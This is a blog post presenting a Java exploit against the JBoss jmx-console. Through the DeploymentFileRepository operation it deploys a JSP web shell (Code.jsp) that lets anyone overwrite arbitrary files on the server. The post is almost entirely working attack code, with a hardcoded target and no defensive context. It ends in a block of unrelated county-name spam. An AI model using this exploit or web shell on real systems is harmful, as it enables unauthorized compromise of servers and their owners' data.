shnulaa

          Never deter till tomorrow that which you can do today
          posts - 15, comments - 0, trackbacks - 0, articles - 2
            BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

          jboss oday test

          Posted on 2010-09-26 16:16 shnulaa 閱讀(174) 評論(0)  編輯  收藏 所屬分類: java

          detail: this file's function is to be used to create a new jsp file with jboss location[JBOSS_HOME\server\default\deploy\management\console-mgr.sar\web-console.war\]

          HTTP access address
          http://IPaddress:Port/web-console/Code.jsp

          test file source

            1package jp.co.nec.nhm.client.multip.mm;
            2
            3import java.io.IOException;
            4import java.net.URLEncoder;
            5
            6import javax.xml.ws.http.HTTPException;
            7
            8import org.apache.commons.httpclient.HttpClient;
            9import org.apache.commons.httpclient.methods.PostMethod;
           10import org.apache.commons.httpclient.methods.StringRequestEntity;
           11import org.apache.commons.httpclient.params.HttpClientParams;
           12
           13public class JbossTest {
           14    /**
           15     * @param args
           16     */

           17    public static void main(String[] args) throws Throwable {
           18        jbossTest();
           19    }

           20
           21    private static void jbossTest() throws Throwable {
           22        // TODO Auto-generated method stub
           23        final String port = "9090";
           24        final String host = "192.168.1.83";
           25        final String jspName = "Code";
           26        final String blind = URLEncoder.encode(getInfos(), "utf-8");
           27
           28        StringBuffer url = new StringBuffer();
           29        url.append("http://");
           30        url.append(host);
           31        url.append(":");
           32        url.append(port);
           33        url.append("/jmx-console/HtmlAdaptor?" +
           34                        "action=invokeOp" +
           35                        "&name=jboss.admin%3Aservice%3DDeploymentFileRepository" +
           36                        "&methodIndex=5" +
           37                        "&arg0=console-mgr.sar/web-console.war/");
           38        url.append("&arg1=");
           39        url.append(jspName);
           40        url.append("&arg2=.jsp");
           41        url.append("&arg3=");
           42        url.append(blind);
           43        url.append("&arg4=True");
           44        System.out.println(url.toString());
           45        System.out.println(post(url.toString(), ""));
           46        // if (ret == 200) {
           47        // System.out.println(post("http://" + host + ":" + port +
           48        // "/web-console/Code.jsp",""));
           49        // }
           50    }

           51
           52    public static int post(String url, String body) throws IOException,
           53            HTTPException {
           54        int retCode = -1;
           55        HttpClientParams hcp = new HttpClientParams();
           56        hcp.setSoTimeout(5000);
           57        HttpClient client = new HttpClient(hcp);
           58        PostMethod post = new PostMethod(url);
           59        try {
           60            if (body != null{
           61                StringRequestEntity e = new StringRequestEntity(body, null,
           62                        null);
           63                post.setRequestHeader("Content-type""text/xml");
           64                post.setRequestEntity(e);
           65                retCode = client.executeMethod(post);
           66
           67                System.out.println(retCode);
           68                
           69                System.out.println(post.getResponseBodyAsString());
           70                
           71            }

           72        }
           finally {
           73            if (post != null{
           74                post.releaseConnection();
           75            }

           76        }

           77        return retCode;
           78    }

           79
           80    public static String getInfos() {
           81        String aa = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>"
           82                + "<jsp:directive.page import=\"java.io.File\"/>"
           83                + "<jsp:directive.page import=\"java.io.OutputStream\"/>"
           84                + "<jsp:directive.page import=\"java.io.FileOutputStream\"/>"
           85                + "<html>"
           86                + "<head>"
           87                + "<title>code</title>"
           88                + "<meta http-equiv=\"keywords\" content=\"code\">"
           89                + "<meta http-equiv=\"description\" content=\"code\">"
           90                + "</head>"
           91                + "<%"
           92                + "int i=0;"
           93                + "String method=request.getParameter(\"act\");"
           94                + "if(method!=null&&method.equals(\"up\")){"
           95                + "String url=request.getParameter(\"url\");"
           96                + "String text=request.getParameter(\"text\");"
           97                + "File f=new File(url);"
           98                + "if(f.exists()){"
           99                + "f.delete();"
          100                + "}"
          101                + "try{"
          102                + "OutputStream o=new FileOutputStream(f);"
          103                + "o.write(text.getBytes());"
          104                + "o.close();"
          105                + "}catch(Exception e){"
          106                + "i++;"
          107                + "%>"
          108                + "upload unsuccessful"
          109                + "<%"
          110                + "}"
          111                + "}"
          112                + "if(i==0){"
          113                + "%>"
          114                + "upload successful"
          115                + "<%"
          116                + "}"
          117                + "%>"
          118                + "<body>"
          119                + "<form action='?act=up' method='post'>"
          120                + "<input size=\"100\" value=\"<%=application.getRealPath(\"/\"%>\" name=\"url\"><br>"
          121                + "<textarea rows=\"20\" cols=\"80\" name=\"text\">code</textarea><br>"
          122                + "<input type=\"submit\" value=\"up\" name=\"text\"/>"
          123                + "</form>" + "</body>" + "</html>";
          124        return aa;
          125    }

          126}

          127
          主站蜘蛛池模板: 平凉市| 蛟河市| 洪洞县| 江山市| 陵水| 遵化市| 海门市| 阳曲县| 中宁县| 仪陇县| 文成县| 青岛市| 肥乡县| 德格县| 财经| 上栗县| 宿松县| 南充市| 富宁县| 岳普湖县| 万州区| 新闻| 望谟县| 武功县| 苗栗市| 泽普县| 托里县| 揭东县| 丹凤县| 沙坪坝区| 临泉县| 扬州市| 惠来县| 乌拉特前旗| 长春市| 梁河县| 鹤壁市| 紫云| 九江市| 石泉县| 清水河县|